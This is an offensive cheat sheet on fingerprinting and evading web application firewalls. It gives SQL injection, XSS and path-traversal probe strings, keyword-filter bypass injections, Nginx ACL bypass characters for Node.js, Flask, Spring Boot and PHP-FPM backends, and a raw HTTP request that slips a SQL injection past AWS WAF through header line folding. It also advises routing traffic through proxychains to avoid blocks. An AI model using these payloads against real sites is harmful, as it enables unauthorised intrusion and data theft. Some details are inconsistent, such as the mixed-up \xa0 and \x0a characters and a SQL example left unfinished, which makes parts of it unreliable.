WAF Detection and Bypass

Detection Techniques:

To identify WAFs, we need to (dummy) provoke it.

Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
Make GET requests to random open ports and grab banners which might expose the WAFs identity.
On login pages, inject common (easily detectable) payloads like " or 1 = 1 --.
Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields.
Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
Many a times, the WAF varies the Server header upon different types of interactions.
Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

Tip: This method could be easily achieved with tools like HPing3 or Scapy.

Side Channel Attacks - Examine the timing behaviour of the request and response content.

Tip: More details can be found in a blogpost here.

WAF Fingerprints

WAF	Fingerprints
ArvanCloud	• Detectability: Moderate • Detection: `Server` header contains `ArvanCloud` keyword.
ASP.NET Generic	• Detectability: Easy • Detection: Response headers may contain `X-ASPNET-Version` header value. Blocked response page content may contain: •`This generic 403 error means that the authenticated user is not authorized to use the requested resource.` •`Error Code 0x00000000<` keyword.
BIG-IP ASM	• Detectability: Moderate • Detection: Response headers may contain `BigIP` or `F5` keyword value. Response header fields may contain `X-WA-Info` header. Response headers might have jumbled `X-Cnection` field value.
Cloudflare	• Detectability: Easy • Detection: Response headers might have `cf-ray` field value. `Server` header field has value `cloudflare`. `Set-Cookie` response headers have `__cfuid=` cookie field. Page content might have `Attention Required!` or `Cloudflare Ray ID:`. Page content may contain `DDoS protection by Cloudflareas` text. You may encounter `CLOUDFLARE_ERROR_500S_BOX` upon hitting invalid URLs.
FortiWeb	• Detectability: Moderate • Detection: Response headers contain `FORTIWAFSID=` on malicious requests. Response headers contain cookie name `cookiesession1=` Blocked response page contains: Reference to `.fgd_icon` image icon. `Server Unavailable!` as heading. `Server unavailable. Please visit later.` as text.

Evasion Techniques

Fuzzing/Bruteforcing:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

Wordlists specifically for fuzzing

Technique:

Load up your wordlist into fuzzer and start the bruteforce.
Record/log all responses from the different payloads fuzzed.
Use random user-agents, ranging from Chrome Desktop to iPhone browser.
If blocking noticed, increase fuzz latency (eg. 2-4 secs).
Always use proxychains, since chances are real that your IP gets blocked.

Blacklisting Detection/Bypass

SQL Injection

# Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'


# Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'


# Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'

Bypassing Nginx ACL Rules

Nginx restriction example:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

NodeJS

As Nginx includes the character \xa0 as part of the pathname, the ACL rule for the /admin URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;
When the URI /admin\x0a is received by the Node.js server, the character \xa0 will be removed, allowing successful retrieval of the /admin endpoint.

Nginx Version	Node.js Bypass Characters
1.22.0	`\xA0`
1.21.6	`\xA0`
1.20.2	`\xA0`, `\x09`, `\x0C`
1.18.0	`\xA0`, `\x09`, `\x0C`
1.16.1	`\xA0`, `\x09`, `\x0C`

Flask

Flask removes the characters \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, and \x09 from the URL path, but NGINX doesn't.

Nginx Version	Flask Bypass Characters
1.22.0	`\x85`, `\xA0`
1.21.6	`\x85`, `\xA0`
1.20.2	`\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`
1.18.0	`\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`
1.16.1	`\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`

Spring Boot

Below, you will find a demonstration of how ACL protection can be circumvented by adding the character \x09 or at the end of the pathname:

Nginx Version	Spring Boot Bypass Characters
1.22.0	`;`
1.21.6	`;`
1.20.2	`\x09`, ;
1.18.0	`\x09`, `;`
1.16.1	`\x09`, `;`

PHP-FPM

Let's consider the following Nginx FPM configuration:

location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

It's possible to bypass it accessing /admin.php/index.php:

How to prevent

To prevent these issues, you must use the ~ expression Instead of the = expression on Nginx ACL rules, for example:

COPYCOPY

location ~* ^/admin {
    deny all;
}

Bypassing AWS WAF ACL With Line Folding

It's possible to bypass AWS WAF protection in a HTTP header by using the following syntax where the AWS WAF won't understand X-Query header contains a sql injection payload while the node server behind will:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
